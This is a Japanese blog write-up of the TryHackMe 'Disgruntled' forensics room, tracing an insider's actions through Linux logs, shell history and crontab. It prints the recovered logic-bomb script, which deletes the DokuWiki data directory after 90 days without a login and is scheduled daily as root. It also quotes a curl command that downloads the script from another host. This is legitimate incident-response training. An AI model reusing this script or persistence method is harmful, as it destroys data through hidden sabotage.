1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMeWriteup:Disgruntled

Posted at

概要

最近忙しくてあまりできてなかったのですが,久しぶりにTHMをやってみました.
今回はこちらをやります.

Writeup

Task1 & Task2

まず標的のマシンにSSHでログインしていきます.
ssh root@{マシンのIPアドレス}

Task2はLinuxのコマンドチートシートみたいな感じですかね.
特に必要ない人はいらないかなと思います.

Task3

root権限で何かをインストールしたみたいですね.
アドバイスとしては[Look at the privileged commands that were run. ]とあります.特権コマンドを見ろとのことですね.

Q1:The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?

取り合えずインストールログを見てみましょう.

  • ~/.bash_historyを見てみます
exit
cd .ssh
ls
automat-visualize3 
cat authorized_keys 
nano authorized_keys 
cat authorized_keys 
exit
cat .ssh/authorized_keys 
exit

sshの設定をしてるくらいですかね?automat-visualize3って何でしょう?
特に関係なさそうですね.

  • /var/log/auth.logを見てみます
    ログの量が多いのでgrepで絞ります
    cat /var/log/auth.log | grep sudo
    いくつか出てきますがその中に以下のような何かをインストールしている怪しいログがありました.
    sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
    これの/usr/bin/apt install dokuwiki が答えですね.

Q2:What was the present working directory (PWD) when the previous command was run?

実行された時の作業ディレクトリは上のログより/home/cybertですね.

Task4

Q1:Which user was created after the package from the previous task was installed?

先ほどのdokuwikiがインストールされた直後に作成されたユーザは先ほどと同様のログの中に書いてあります.
sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
it-adminですね.

Q2:A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)

このユーザにsudo権限が付与された時間を特定します.
この情報はいままでのログファイルの中にはないみたいですね.
なのでsudoersファイルのタイムスタンプを見てみます.

root@ip-10-10-149-152:/etc# stat sudoers
  File: sudoers
  Size: 807             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 55419       Links: 1
Access: (0440/-r--r-----)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-05 09:51:43.311999988 +0000
Modify: 2022-12-28 06:27:45.717125559 +0000
Change: 2022-12-28 06:27:45.717125559 +0000

これかなと思いましたが違いましたね.
ヒントを見てみるとsudoersファイルの編集時にはvisudoが呼ばれるみたいです.
さっきのログファイルであってたんですね.
cat /var/log/auth.log | grep visudoで検索してみます.
Dec 28 06:27:34 ip-10-10-168-55 sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudoが答えになります.

Q3:A script file was opened using the "vi" text editor. What is the name of this file?

viエディタを使って開いたファイルの名前についてですね
こちらも先ほどのログの中にありました.
bomb.shです.いかにもやばそうなshファイルですね.

Task5

Q1:What is the command used that created the file bomb.sh?

bomb.shの作成に使われたコマンドについてですね.
先ほどまでのログでbomb.shについて検索してみましたが特に何も出てきませんでした.
なのでsudo権限で作成されたユーザであるit-adminのログを見てみます.
cd /home/it-admin
cat ./.bash_history
以下がその実行結果です.

whoami
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
ls
ls -la
cd ~/
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
sudo vi bomb.sh
ls
rm bomb.sh
sudo nano /etc/crontab
exit

curlでダウンロードしてきてるみたいですね.curl 10.10.158.38:8080/bomb.sh --output bomb.shが答えになります.

Q2:The file was renamed and moved to a different directory. What is the full path of this file now?

bomb.shのファイル名を変更してどこかに移動したみたいですね.
ヒントを見ると,.viminfoviの履歴が確認できるみたいですね.
cat .viminfo | grep bomb
これでは特に何も出てきませんでした.
cat .viminfo | grep sh
これで検索してみると以下のようなものがヒットしました.

:saveas /bin/os-update.sh
|2,0,1672208983,,"saveas /bin/os-update.sh"
'0  6  0  /bin/os-update.sh
|4,48,6,0,1672208992,"/bin/os-update.sh"
-'  6  0  /bin/os-update.sh
|4,39,6,0,1672208992,"/bin/os-update.sh"
-'  1  0  /bin/os-update.sh
|4,39,1,0,1672208955,"/bin/os-update.sh"
> /bin/os-update.sh

:saveasコマンドがあるので何か別のファイル名を変更して保存したんですかね?  
答えは/bin/os-update.shでした.

Q3:When was the file from the previous question last modified? (Format: Month Day HH:MM)

/bin/os-update.shは最後にいつ変更されたかについてですね.
statコマンドでタイムスタンプを見てみます.
stat /bin/os-update.sh

  File: /bin/os-update.sh
  Size: 325             Blocks: 8          IO Block: 4096   regular file
Device: 10302h/66306d   Inode: 26          Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-12-28 06:29:43.998004273 +0000
Modify: 2022-12-28 06:29:43.998004273 +0000
Change: 2022-12-28 06:29:43.998004273 +0000
 Birth: -

この結果よりDec 28 06:29が答えですね.

Q4:What is the name of the file that will get created when the file from the first question executes?

bomb.shが実行されるときに作成されるファイル名についてですね.
これはbomb.sh(/bin/os-update.sh)を見てみましょう.
cat /bin/os-update.sh

# 2022-06-05 - Initial version
# 2022-10-11 - Fixed bug
# 2022-10-15 - Changed from 30 days to 90 days
OUTPUT=`last -n 1 it-admin -s "-90days" | head -n 1`
if [ -z "$OUTPUT" ]; then
        rm -r /var/lib/dokuwiki
        echo -e "I TOLD YOU YOU'LL REGRET THIS!!! GOOD RIDDANCE!!! HAHAHAHA\n-mistermeist3r" > /goodbye.txt
fi

it-adminの最初のログインから90日経ったらdokuwikiを削除するコマンドみたいですね.
答えはgoodbye.txtです.

Task6

Q1:At what time will the malicious file trigger? (Format: HH:MM AM/PM)

この/bin/so-update.shはいつ実行(dokuwikiディレクトリの削除)されるかですね.
先ほどのログ/home/it-admin/.bash_historyの中にcrontabを設定してるログがあったので見てみます.
cat /etc/crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
0 8     * * *   root    /bin/os-update.sh

最後の行に/bin/os-update.shの定期実行が確認できますね.これが定期実行される時間は毎日午前8時ですね.
なので答えは08:00 AMとなります.

最後に

久しぶりのTHMでしたが内容的にもかなり簡単だったので解きやすかったですね.

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?